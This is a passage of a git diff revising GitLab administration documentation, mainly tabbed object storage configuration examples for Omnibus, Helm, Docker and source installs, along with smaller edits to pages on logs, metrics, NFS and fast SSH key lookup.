type: reference, howto --- -# Mailgun and GitLab **(FREE SELF)** +# Mailgun **(FREE SELF)** When you use Mailgun to send emails for your GitLab instance and [Mailgun](https://www.mailgun.com/) integration is enabled and configured in GitLab, you can receive their webhook for @@ -43,7 +43,7 @@ After configuring your Mailgun domain for the webhook endpoints, you're ready to enable the Mailgun integration: 1. Sign in to GitLab as an [Administrator](../../user/permissions.md) user. -1. On the top bar, select **Main menu >** **{admin}** **Admin**. +1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, go to **Settings > General** and expand the **Mailgun** section. 1. Select the **Enable Mailgun** checkbox. 1. Enter the Mailgun HTTP webhook signing key as described in diff --git a/doc/administration/integration/plantuml.md b/doc/administration/integration/plantuml.md index f0b3e949b35..33434e15c4e 100644 --- a/doc/administration/integration/plantuml.md +++ b/doc/administration/integration/plantuml.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# PlantUML and GitLab **(FREE)** +# PlantUML **(FREE)** When the [PlantUML](https://plantuml.com) integration is enabled and configured in GitLab, you can create diagrams in snippets, wikis, and repositories. This integration diff --git a/doc/administration/issue_closing_pattern.md b/doc/administration/issue_closing_pattern.md index bdbcdd0093c..1ea6b3bb49c 100644 --- a/doc/administration/issue_closing_pattern.md +++ b/doc/administration/issue_closing_pattern.md @@ -8,8 +8,9 @@ type: reference # Issue closing pattern **(FREE SELF)** NOTE: -This is the administration documentation. There is a separate [user documentation](../user/project/issues/managing_issues.md#closing-issues-automatically) -on issue closing pattern. +This page explains how an administrator can configure issue closing patterns. +For user documentation about the feature, see +[Closing issues automatically](../user/project/issues/managing_issues.md#closing-issues-automatically). When a commit or merge request resolves one or more issues, it is possible to automatically close these issues when the commit or merge request lands @@ -21,9 +22,9 @@ The [default issue closing pattern](../user/project/issues/managing_issues.md#de covers a wide range of words. You can change the pattern to suit your needs. NOTE: -You are advised to use <https://rubular.com> to test the issue closing pattern. -However, since Rubular doesn't understand `%{issue_ref}`, you can replace this by -`#\d+` when testing your patterns, which matches only local issue references like `#123`. +To test the issue closing pattern, use <https://rubular.com>. +However, Rubular doesn't understand `%{issue_ref}`. When testing your patterns, +replace this string with `#\d+`, which matches only local issue references like `#123`. To change the default issue closing pattern: diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index 816cfcb508d..4f2eb20877e 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -788,3 +788,22 @@ FATAL: invalid argument ``` If a job artifact fails to upload with the above error when using consolidated object storage, make sure you are [using separate buckets](object_storage.md#use-separate-buckets) for each data type. + +### Job artifacts fail to upload with `FATAL: invalid argument` when using Windows mount + +If you are using a Windows mount with CIFS for job artifacts, you may see an +`invalid argument` error when the runner attempts to upload artifacts: + +```plaintext +WARNING: Uploading artifacts as "dotenv" to coordinator... POST https://<your-gitlab-instance>/api/v4/jobs/<JOB_ID>/artifacts: 500 Internal Server Error id=1296 responseStatus=500 Internal Server Error status=500 token=***** +FATAL: invalid argument +``` + +To work around this issue, you can try: + +- Switching to an ext4 mount instead of CIFS. +- Upgrading to at least Linux kernel 5.15 which contains a number of important bug fixes + relating to CIFS file leases. +- For older kernels, using the `nolease` mount option to disable file leasing. + +For more information, [see the investigation details](https://gitlab.com/gitlab-org/gitlab/-/issues/389995). diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md index 302dc38cf28..3638729a6b6 100644 --- a/doc/administration/lfs/index.md +++ b/doc/administration/lfs/index.md @@ -12,7 +12,7 @@ For user documentation about Git LFS, see [Git Large File Storage](../../topics/ Prerequisites: -- Users need to install [Git LFS client](https://git-lfs.github.com) version 1.0.1 or later. +- Users need to install [Git LFS client](https://git-lfs.com/) version 1.0.1 or later. ## Enable or disable LFS @@ -439,7 +439,7 @@ To fix this issue, configure your object storage provider's CORS settings to allow the GitLab domain. See the following documentation for more details: -1. [AWS S3](https://aws.amazon.com/premiumsupport/knowledge-center/s3-configure-cors/) +1. [AWS S3](https://repost.aws/knowledge-center/s3-configure-cors) 1. [Google Cloud Storage](https://cloud.google.com/storage/docs/configuring-cors) 1. [Azure Storage](https://learn.microsoft.com/en-us/rest/api/storageservices/cross-origin-resource-sharing--cors--support-for-the-azure-storage-services). diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md index 83b42295035..298d22f1da5 100644 --- a/doc/administration/load_balancer.md +++ b/doc/administration/load_balancer.md @@ -115,6 +115,9 @@ Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`. It is strongly recommend that multi-node deployments configure load balancers to use the [readiness check](../user/admin_area/monitoring/health_check.md#readiness) to ensure a node is ready to accept traffic, before routing traffic to it. This is especially important when utilizing Puma, as there is a brief period during a restart where Puma doesn't accept requests. +WARNING: +Using the `all=1` parameter with the readiness check in GitLab versions 15.4 to 15.8 may cause [increased Praefect memory usage](https://gitlab.com/gitlab-org/gitaly/-/issues/4751) and lead to memory errors. + ## Troubleshooting ### The health check is returning a `408` HTTP code via the load balancer diff --git a/doc/administration/logs/index.md b/doc/administration/logs/index.md index 9893c6935a3..eab4c9b7d83 100644 --- a/doc/administration/logs/index.md +++ b/doc/administration/logs/index.md @@ -866,6 +866,19 @@ Depending on your installation method, this file is located at: - Omnibus GitLab: `/var/log/gitlab/gitlab-rails/database_load_balancing.log` - Installations from source: `/home/git/gitlab/log/database_load_balancing.log` +## `zoekt.log` **(PREMIUM SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110980) in GitLab 15.9. + +This file logs information related to the +[Exact code search](../../user/search/exact_code_search.md) feature which is +powered by Zoekt. + +Depending on your installation method, this file is located at: + +- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/zoekt.log` +- Installations from source: `/home/git/gitlab/log/zoekt.log` + ## `elasticsearch.log` **(PREMIUM SELF)** > Introduced in GitLab 12.6. diff --git a/doc/administration/logs/log_parsing.md b/doc/administration/logs/log_parsing.md index dfe434ed1f2..84c517e6120 100644 --- a/doc/administration/logs/log_parsing.md +++ b/doc/administration/logs/log_parsing.md @@ -120,6 +120,12 @@ jq 'select(.queue_duration_s > 10000)' <FILE> jq -s 'map(select(.gitaly_calls != null)) | sort_by(-.gitaly_calls) | limit(10; .[])' <FILE> ``` +#### Output a specific time range + +```shell +jq 'select(.time >= "2023-01-10T00:00:00Z" and .time <= "2023-01-10T12:00:00Z")' <FILE> +``` + ### Parsing `gitlab-rails/production_json.log` #### Print the top three controller methods by request volume and their three longest durations @@ -166,7 +172,7 @@ jq --raw-output '[.route, .ua] | @tsv' api_json.log | sort | uniq -c | sort -n 1234 /api/:version/internal/allowed GitLab-Shell ``` -This sample response seems normal. A custom tool or script might be causing a high load +This sample response seems typical. A custom tool or script might be causing a high load if the output contains many: - Third party libraries like `python-requests` or `curl`. diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md index 171a441eaec..fc6318922f1 100644 --- a/doc/administration/monitoring/performance/performance_bar.md +++ b/doc/administration/monitoring/performance/performance_bar.md @@ -51,7 +51,7 @@ From left to right, the performance bar displays: values in milliseconds, separated by slashes. Select to display a modal window with more details. The values, from left to right: - **Backend**: time needed for the base page to load. - - [**First Contentful Paint**](https://web.dev/first-contentful-paint/): + - [**First Contentful Paint**](https://developer.chrome.com/docs/lighthouse/performance/first-contentful-paint/): Time until something was visible to the user. Displays `NaN` if your browser does not support this feature. - [**DomContentLoaded**](https://web.dev/critical-rendering-path-measure-crp/) Event. @@ -81,7 +81,7 @@ From left to right, the performance bar displays: NOTE: Not all indicators are available in all environments. For instance, the memory view requires running Ruby with [specific patches](https://gitlab.com/gitlab-org/gitlab-build-images/-/blob/master/patches/ruby/2.7.4/thread-memory-allocations-2.7.patch) -applied. When running GitLab locally using [GDK](../../../development/contributing/index.md#gitlab-development-kit), +applied. When running GitLab locally using the [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit), this is typically not the case and the memory view cannot be used. ## Keyboard shortcut diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index 29182077d66..ed55e7d7ff3 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -161,6 +161,8 @@ The following metrics are available: | `gitlab_diffs_write_cache_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on caching highlighted lines and stats on diffs batch request | `controller`, `action` | | `gitlab_diffs_highlight_cache_decorate_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on setting highlighted lines from cache on diffs batch request | `controller`, `action` | | `gitlab_diffs_render_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on serializing and rendering diffs on diffs batch request | `controller`, `action` | +| `gitlab_memwd_violations_total` | Counter | 15.9 | Total number of times a Ruby process violated a memory threshold | | +| `gitlab_memwd_violations_handled_total` | Counter | 15.9 | Total number of times Ruby process memory violations were handled | | ## Metrics controlled by a feature flag @@ -350,6 +352,9 @@ configuration option in `gitlab.yml`. These metrics are served from the | `geo_dependency_proxy_manifests_verification_total` | Gauge | 15.6 | Number of dependency proxy manifests verifications tried on secondary | `url` | | `geo_dependency_proxy_manifests_verified` | Gauge | 15.6 | Number of dependency proxy manifests verified on secondary | `url` | | `geo_dependency_proxy_manifests_verification_failed` | Gauge | 15.6 | Number of dependency proxy manifests verifications failed on secondary | `url` | +| `gitlab_memwd_violations_total` | Counter | 15.9 | Total number of times a Sidekiq process violated a memory threshold | | +| `gitlab_memwd_violations_handled_total` | Counter | 15.9 | Total number of times Sidekiq process memory violations were handled | | +| `sidekiq_watchdog_running_jobs_total` | Counter | 15.9 | Current running jobs when RSS limit was reached | `worker_class` | ## Database load balancing metrics **(PREMIUM SELF)** diff --git a/doc/administration/monitoring/prometheus/web_exporter.md b/doc/administration/monitoring/prometheus/web_exporter.md index 5539526c501..0212091f14c 100644 --- a/doc/administration/monitoring/prometheus/web_exporter.md +++ b/doc/administration/monitoring/prometheus/web_exporter.md @@ -22,7 +22,7 @@ We provide two mechanisms by which web application metrics can be exported: makes metric data available via its own `/-/metrics` endpoint. This is the default, and is described in [GitLab Metrics](index.md#gitlab-metrics). We recommend this default for small GitLab installations where the amount of metrics collected is small. -- Through a dedicated metrics server. Enabling this server will cause Puma to launch an +- Through a dedicated metrics server. Enabling this server causes Puma to launch an additional process whose sole responsibility is to serve metrics. This approach leads to better fault isolation and performance for very large GitLab installations, but comes with additional memory use. We recommend this approach for medium to large @@ -69,5 +69,5 @@ To serve metrics via HTTPS instead of HTTP, enable TLS in the exporter settings: 1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -When TLS is enabled, the same `port` and `address` will be used as described above. +When TLS is enabled, the same `port` and `address` is used as described above. The metrics server cannot serve both HTTP and HTTPS at the same time. diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md index 972db315268..7349e8ad9ba 100644 --- a/doc/administration/nfs.md +++ b/doc/administration/nfs.md @@ -101,7 +101,7 @@ specifically test NFSv3. When you define your NFS exports, we recommend you also add the following options: -- `no_root_squash` - NFS normally changes the `root` user to `nobody`. This is +- `no_root_squash` - NFS usually changes the `root` user to `nobody`. This is a good security measure when NFS shares are accessed by many different users. However, in this case only GitLab uses the NFS share so it is safe. GitLab recommends the `no_root_squash` setting because we need to @@ -279,7 +279,7 @@ to store the data on an NFS mount. Bind mounts provide a way to specify just one NFS mount and then bind the default GitLab data locations to the NFS mount. Start by defining your -single NFS mount point as you normally would in `/etc/fstab`. Let's assume your +single NFS mount point as you typically would in `/etc/fstab`. Let's assume your NFS mount point is `/gitlab-nfs`. Then, add the following bind mounts in `/etc/fstab`: diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md index 6064ae7525e..4b3e251d407 100644 --- a/doc/administration/object_storage.md +++ b/doc/administration/object_storage.md @@ -105,7 +105,13 @@ When the consolidated form is: See the section on [ETag mismatch errors](#etag-mismatch) for more details. -**In Omnibus installations:** +#### Use AWS S3 + +The following example uses AWS S3 to enable object storage for all supported services: + +::Tabs + +:::TabTitle Linux package (Omnibus) 1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, substituting the values you want: @@ -116,7 +122,7 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details. gitlab_rails['object_store']['proxy_download'] = true gitlab_rails['object_store']['connection'] = { 'provider' => 'AWS', - 'region' => '<eu-central-1>', + 'region' => 'eu-central-1', 'aws_access_key_id' => '<AWS_ACCESS_KEY_ID>', 'aws_secret_access_key' => '<AWS_SECRET_ACCESS_KEY>' } @@ -125,62 +131,231 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details. 'server_side_encryption' => '<AES256 or aws:kms>', 'server_side_encryption_kms_key_id' => '<arn:aws:kms:xxx>' } - gitlab_rails['object_store']['objects']['artifacts']['bucket'] = '<artifacts>' - gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = '<external-diffs>' - gitlab_rails['object_store']['objects']['lfs']['bucket'] = '<lfs-objects>' - gitlab_rails['object_store']['objects']['uploads']['bucket'] = '<uploads>' - gitlab_rails['object_store']['objects']['packages']['bucket'] = '<packages>' - gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = '<dependency-proxy>' - gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = '<terraform-state>' - gitlab_rails['object_store']['objects']['pages']['bucket'] = '<pages>' + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = 'gitlab-artifacts' + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = 'gitlab-mr-diffs' + gitlab_rails['object_store']['objects']['lfs']['bucket'] = 'gitlab-lfs' + gitlab_rails['object_store']['objects']['uploads']['bucket'] = 'gitlab-uploads' + gitlab_rails['object_store']['objects']['packages']['bucket'] = 'gitlab-packages' + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = 'gitlab-dependency-proxy' + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = 'gitlab-terraform-state' + gitlab_rails['object_store']['objects']['ci_secure_files']['bucket'] = 'gitlab-ci-secure-files' + gitlab_rails['object_store']['objects']['pages']['bucket'] = 'gitlab-pages' ``` - If you're using AWS IAM profiles, omit the AWS access key and secret access - key/value pairs. For example: + If you’re using [AWS IAM profiles](#using-amazon-instance-profiles), omit + the AWS access key and secret access key/value pairs. For example: + + ```ruby + gitlab_rails['object_store']['connection'] = { + 'provider' => 'AWS', + 'region' => 'eu-central-1', + 'use_iam_profile' => true + } + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `object_storage.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#connection): + + ```yaml + provider: AWS + region: us-east-1 + aws_access_key_id: <AWS_ACCESS_KEY_ID> + aws_secret_access_key: <AWS_SECRET_ACCESS_KEY> + ``` + + If you’re using [AWS IAM profiles](#using-amazon-instance-profiles), omit + the AWS access key and secret access key/value pairs. For example: + + ```yaml + provider: AWS + region: us-east-1 + use_iam_profile: true + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-object-storage --from-file=connection=object_storage.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + object_store: + enabled: false + proxy_download: true + storage_options: {} + # server_side_encryption: + # server_side_encryption_kms_key_id + connection: + secret: gitlab-object-storage + lfs: + enabled: true + proxy_download: true + bucket: gitlab-lfs + connection: {} + # secret: + # key: + artifacts: + enabled: true + proxy_download: true + bucket: gitlab-artifacts + connection: {} + # secret: + # key: + uploads: + enabled: true + proxy_download: true + bucket: gitlab-uploads + connection: {} + # secret: + # key: + packages: + enabled: true + proxy_download: true + bucket: gitlab-packages + connection: {} + externalDiffs: + enabled: true + when: + proxy_download: true + bucket: gitlab-mr-diffs + connection: {} + terraformState: + enabled: true + bucket: gitlab-terraform-state + connection: {} + ciSecureFiles: + enabled: true + bucket: gitlab-ci-secure-files + connection: {} + dependencyProxy: + enabled: true + proxy_download: true + bucket: gitlab-dependency-proxy + connection: {} + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + # Consolidated object storage configuration + gitlab_rails['object_store']['enabled'] = true + gitlab_rails['object_store']['proxy_download'] = true + gitlab_rails['object_store']['connection'] = { + 'provider' => 'AWS', + 'region' => 'eu-central-1', + 'aws_access_key_id' => '<AWS_ACCESS_KEY_ID>', + 'aws_secret_access_key' => '<AWS_SECRET_ACCESS_KEY>' + } + # OPTIONAL: The following lines are only needed if server side encryption is required + gitlab_rails['object_store']['storage_options'] = { + 'server_side_encryption' => '<AES256 or aws:kms>', + 'server_side_encryption_kms_key_id' => '<arn:aws:kms:xxx>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = 'gitlab-artifacts' + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = 'gitlab-mr-diffs' + gitlab_rails['object_store']['objects']['lfs']['bucket'] = 'gitlab-lfs' + gitlab_rails['object_store']['objects']['uploads']['bucket'] = 'gitlab-uploads' + gitlab_rails['object_store']['objects']['packages']['bucket'] = 'gitlab-packages' + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = 'gitlab-dependency-proxy' + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = 'gitlab-terraform-state' + gitlab_rails['object_store']['objects']['ci_secure_files']['bucket'] = 'gitlab-ci-secure-files' + gitlab_rails['object_store']['objects']['pages']['bucket'] = 'gitlab-pages' + ``` + + If you’re using [AWS IAM profiles](#using-amazon-instance-profiles), omit + the AWS access key and secret access key/value pairs. For example: ```ruby gitlab_rails['object_store']['connection'] = { 'provider' => 'AWS', - 'region' => '<eu-central-1>', + 'region' => 'eu-central-1', 'use_iam_profile' => true } ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` -**In installations from source:** +:::TabTitle Self-compiled (source) 1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: ```yaml - object_store: - enabled: true - proxy_download: true - connection: - provider: AWS - aws_access_key_id: <AWS_ACCESS_KEY_ID> - aws_secret_access_key: <AWS_SECRET_ACCESS_KEY> - region: <eu-central-1> - storage_options: - server_side_encryption: <AES256 or aws:kms> - server_side_encryption_key_kms_id: <arn:aws:kms:xxx> - objects: - artifacts: - bucket: <artifacts> - external_diffs: - bucket: <external-diffs> - lfs: - bucket: <lfs-objects> - uploads: - bucket: <uploads> - packages: - bucket: <packages> - dependency_proxy: - bucket: <dependency_proxy> - terraform_state: - bucket: <terraform> - pages: - bucket: <pages> + production: &base + object_store: + enabled: true + proxy_download: true + connection: + provider: AWS + aws_access_key_id: <AWS_ACCESS_KEY_ID> + aws_secret_access_key: <AWS_SECRET_ACCESS_KEY> + region: eu-central-1 + storage_options: + server_side_encryption: <AES256 or aws:kms> + server_side_encryption_key_kms_id: <arn:aws:kms:xxx> + objects: + artifacts: + bucket: gitlab-artifacts + external_diffs: + bucket: gitlab-mr-diffs + lfs: + bucket: gitlab-lfs + uploads: + bucket: gitlab-uploads + packages: + bucket: gitlab-packages + dependency_proxy: + bucket: gitlab-dependency-proxy + terraform_state: + bucket: gitlab-terraform-state + ci_secure_files: + bucket: gitlab-ci-secure-files + pages: + bucket: gitlab-pages + ``` + + If you’re using [AWS IAM profiles](#using-amazon-instance-profiles), omit + the AWS access key and secret access key/value pairs. For example: + + ```yaml + connection: + provider: AWS + region: eu-central-1 + use_iam_profile: true ``` 1. Edit `/home/git/gitlab-workhorse/config.toml` and add or amend the following lines: @@ -194,7 +369,25 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details. aws_secret_access_key = "<AWS_SECRET_ACCESS_KEY>" ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. + If you’re using [AWS IAM profiles](#using-amazon-instance-profiles), omit + the AWS access key and secret access key/value pairs. For example: + + ```yaml + [object_storage.s3] + use_iam_profile = true + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs #### Common parameters @@ -288,12 +481,11 @@ Here are the valid connection parameters for GCS: GitLab reads the value of `google_json_key_location`, then `google_json_key_string`, and finally, `google_application_default`. It uses the first of these settings that has a value. -The service account must have permission to access the bucket. Learn more -in Google's -[Cloud Storage authentication documentation](https://cloud.google.com/storage/docs/authentication). +The service account must have permission to access the bucket. For more information, +see the [Cloud Storage authentication documentation](https://cloud.google.com/storage/docs/authentication). NOTE: -Bucket encryption with the [Cloud Key Management Service (KMS)](https://cloud.google.com/kms/docs) is not supported and will result in [ETag mismatch errors](#etag-mismatch). +Bucket encryption with the [Cloud Key Management Service (KMS)](https://cloud.google.com/kms/docs) is not supported and results in [ETag mismatch errors](#etag-mismatch). ##### Google example (consolidated form) @@ -347,9 +539,8 @@ because a single set of credentials are used to access multiple containers. The [storage-specific form](#storage-specific-configuration) is not supported. For more details, see [how to transition to consolidated form](#transition-to-consolidated-form). -The following are the valid connection parameters for Azure. Read the -[Azure Blob storage documentation](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) -to learn more. +The following are the valid connection parameters for Azure. For more information, see the +[Azure Blob Storage documentation](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction). | Setting | Description | Example | |------------------------------|----------------|-----------| @@ -393,6 +584,30 @@ If you are using a custom Azure storage domain, configuration. This information is exchanged in an API call between GitLab Rails and Workhorse. +#### Storj Gateway Configuration (SJ) + +NOTE: +The Storj Gateway [does not support](https://github.com/storj/gateway-st/blob/4b74c3b92c63b5de7409378b0d1ebd029db9337d/docs/s3-compatibility.md) multi-threaded copying (see `UploadPartCopy` in the table). +While an implementation [is planned](https://github.com/storj/roadmap/issues/40), you must [disable multi-threaded copying](#multi-threaded-copying) until completion. + +The [Storj Network](https://www.storj.io/) provides an S3-compatible API gateway. Use the following configuration example: + +```ruby +gitlab_rails['object_store']['connection'] = { + 'provider' => 'AWS', + 'endpoint' => 'https://gateway.storjshare.io', + 'path_style' => true, + 'region' => 'eu1', + 'aws_access_key_id' => 'ACCESS_KEY', + 'aws_secret_access_key' => 'SECRET_KEY', + 'aws_signature_version' => 2, + 'enable_signature_v4_streaming' => false +} +``` + +The signature version must be `2`. Using v4 results in a HTTP 411 Length Required error. +For more information, see [issue #4419](https://gitlab.com/gitlab-org/gitlab/-/issues/4419). + ### Object-specific configuration The following YAML shows how the `object_store` section defines @@ -583,8 +798,8 @@ With Omnibus and source installations it is possible to split a single real bucket into multiple virtual buckets. If your object storage bucket is called `my-gitlab-objects` you can configure uploads to go into `my-gitlab-objects/uploads`, artifacts into -`my-gitlab-objects/artifacts`, etc. The application will act as if -these are separate buckets. Note that use of bucket prefixes +`my-gitlab-objects/artifacts`, etc. The application acts as if +these are separate buckets. Use of bucket prefixes [may not work correctly with Helm backups](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/3376). Helm-based installs require separate buckets to @@ -686,7 +901,7 @@ With the consolidated object configuration and instance profile, Workhorse has S3 credentials so that it can compute the `Content-MD5` header. This eliminates the need to compare ETag headers returned from the S3 server. -Encrypting buckets with GCS' [Cloud Key Management Service (KMS)](https://cloud.google.com/kms/docs) is not supported and will result in ETag mismatch errors. +Encrypting buckets with the GCS [Cloud Key Management Service (KMS)](https://cloud.google.com/kms/docs) is not supported and results in ETag mismatch errors. ### Using Amazon instance profiles @@ -697,6 +912,11 @@ When this is used, GitLab fetches temporary credentials each time an S3 bucket is accessed, so no hard-coded values are needed in the configuration. +To use an Amazon instance profile, GitLab must be able to connect to the +[instance metadata endpoint](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html). +If GitLab is [configured to use an Internet proxy](https://docs.gitlab.com/omnibus/settings/environment-variables.html), the endpoint IP +address must be added to the `no_proxy` list. + #### Encrypted S3 buckets > - [Introduced](https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/466) in GitLab 13.1 for instance profiles only and [S3 default encryption](https://docs.aws.amazon.com/AmazonS3/latest/dev/bucket-encryption.html). @@ -714,7 +934,7 @@ Customer master keys (CMKs) and SSE-C encryption are Setting a default encryption on an S3 bucket is the easiest way to enable encryption, but you may want to -[set a bucket policy to ensure only encrypted objects are uploaded](https://aws.amazon.com/premiumsupport/knowledge-center/s3-bucket-store-kms-encrypted-objects/). +[set a bucket policy to ensure only encrypted objects are uploaded](https://repost.aws/knowledge-center/s3-bucket-store-kms-encrypted-objects). To do this, you must configure GitLab to send the proper encryption headers in the `storage_options` configuration section: @@ -817,5 +1037,5 @@ Prerequisites: After you have done at least one successful Rclone copy from the old location to the new location, schedule maintenance and take your GitLab server offline. During your maintenance window you must do two things: -1. Perform a final `rclone sync` run, knowing that your users cannot add new objects so you will not leave any behind in the old bucket. +1. Perform a final `rclone sync` run, knowing that your users cannot add new objects so you do not leave any behind in the old bucket. 1. Update the object storage configuration of your GitLab server to use the new provider for `uploads`. diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md index a34b21e676a..1e887d8bd67 100644 --- a/doc/administration/operations/fast_ssh_key_lookup.md +++ b/doc/administration/operations/fast_ssh_key_lookup.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w NOTE: This document describes a drop-in replacement for the -`authorized_keys` file. For normal (non-deploy key) users, consider using +`authorized_keys` file. For standard (non-deploy key) users, consider using [SSH certificates](ssh_certificates.md). They are even faster, but are not a drop-in replacement. @@ -25,10 +25,6 @@ GitLab Shell solves this by providing a way to authorize SSH users via a fast, indexed lookup in the GitLab database. This page describes how to enable the fast lookup of authorized SSH keys. -WARNING: -OpenSSH version 6.9+ is required because `AuthorizedKeysCommand` must be -able to accept a fingerprint. Check the version of OpenSSH on your server with `sshd -V`. - ## Fast lookup is required for Geo **(PREMIUM)** Unlike [Cloud Native GitLab](https://docs.gitlab.com/charts/), Omnibus GitLab by default @@ -51,12 +47,31 @@ secondary nodes, but **Write to "authorized keys" file** must be unchecked only on the primary node, because it is reflected automatically on the secondary if database replication is working. -## Setting up fast lookup via GitLab Shell +## Set up fast lookup GitLab Shell provides a way to authorize SSH users via a fast, indexed lookup to the GitLab database. GitLab Shell uses the fingerprint of the SSH key to check whether the user is authorized to access GitLab. +Fast lookup can be enabled with the following SSH servers: + +- [`gitlab-sshd`](gitlab_sshd.md) +- OpenSSH + +You can run both services simultaneously by using separate ports for each service. + +### With `gitlab-sshd` + +To set up `gitlab-sshd`, see [the `gitlab-sshd` documentation](gitlab_sshd.md). +After `gitlab-sshd` is enabled, GitLab Shell and `gitlab-sshd` are configured +to use fast lookup automatically. + +### With OpenSSH + +WARNING: +OpenSSH version 6.9+ is required because `AuthorizedKeysCommand` must be +able to accept a fingerprint. Check the version of OpenSSH on your server with `sshd -V`. + Add the following to your `sshd_config` file. This file is usually located at `/etc/ssh/sshd_config`, but it is at `/assets/sshd_config` if you're using Omnibus Docker: @@ -119,7 +134,7 @@ Then you can backup and delete your `authorized_keys` file for best performance. The current users' keys are already present in the database, so there is no need for migration or for users to re-add their keys. -## How to go back to using the `authorized_keys` file +### How to go back to using the `authorized_keys` file This overview is brief. Refer to the above instructions for more context. @@ -132,52 +147,6 @@ This overview is brief. Refer to the above instructions for more context. 1. Remove the `AuthorizedKeysCommand` lines from `/etc/ssh/sshd_config` or from `/assets/sshd_config` if you are using Omnibus Docker. 1. Reload `sshd`: `sudo service sshd reload`. -## Use `gitlab-sshd` instead of OpenSSH - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299109) in GitLab 14.5 as an **Alpha** release for self-managed customers. - -WARNING: -`gitlab-sshd` is in [**Alpha**](../../policy/alpha-beta-support.md#alpha-features). -It is not ready for production use. - -`gitlab-sshd` is [a standalone SSH server](https://gitlab.com/gitlab-org/gitlab-shell/-/tree/main/internal/sshd) -written in Go. It is provided as a part of the `gitlab-shell` package. It has a lower memory -use as a OpenSSH alternative, and supports -[group access restriction by IP address](../../user/group/index.md) for applications -running behind the proxy. - -`gitlab-sshd` is a lightweight alternative to OpenSSH for providing -[SSH operations](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/71a7f34a476f778e62f8fe7a453d632d395eaf8f/doc/features.md). -While OpenSSH uses a restricted shell approach, `gitlab-sshd` behaves more like a -modern multi-threaded server application, responding to incoming requests. The major -difference is that OpenSSH uses SSH as a transport protocol while `gitlab-sshd` uses Remote Procedure Calls (RPCs). - -The capabilities of GitLab Shell are not limited to Git operations. - -If you are considering switching from OpenSSH to `gitlab-sshd`, consider these concerns: - -- The `gitlab-sshd` component is only available for - [GitLab Helm chart](https://docs.gitlab.com/charts/) deployments. -- `gitlab-sshd` supports the PROXY protocol. It can run behind proxy servers that rely - on it, such as HAProxy. The PROXY protocol not enabled by default, but can be enabled with a Helm chart setting. -- By default, `gitlab-sshd` binds to port 22, but you can configure a different port in the Helm chart. -- `gitlab-sshd` **does not** support SSH certificates. For more details, read - [issue #495](https://gitlab.com/gitlab-org/gitlab-shell/-/issues/495). - -To switch from OpenSSH to `gitlab-sshd`: - -1. Set the `gitlab-shell` charts `sshDaemon` option to - 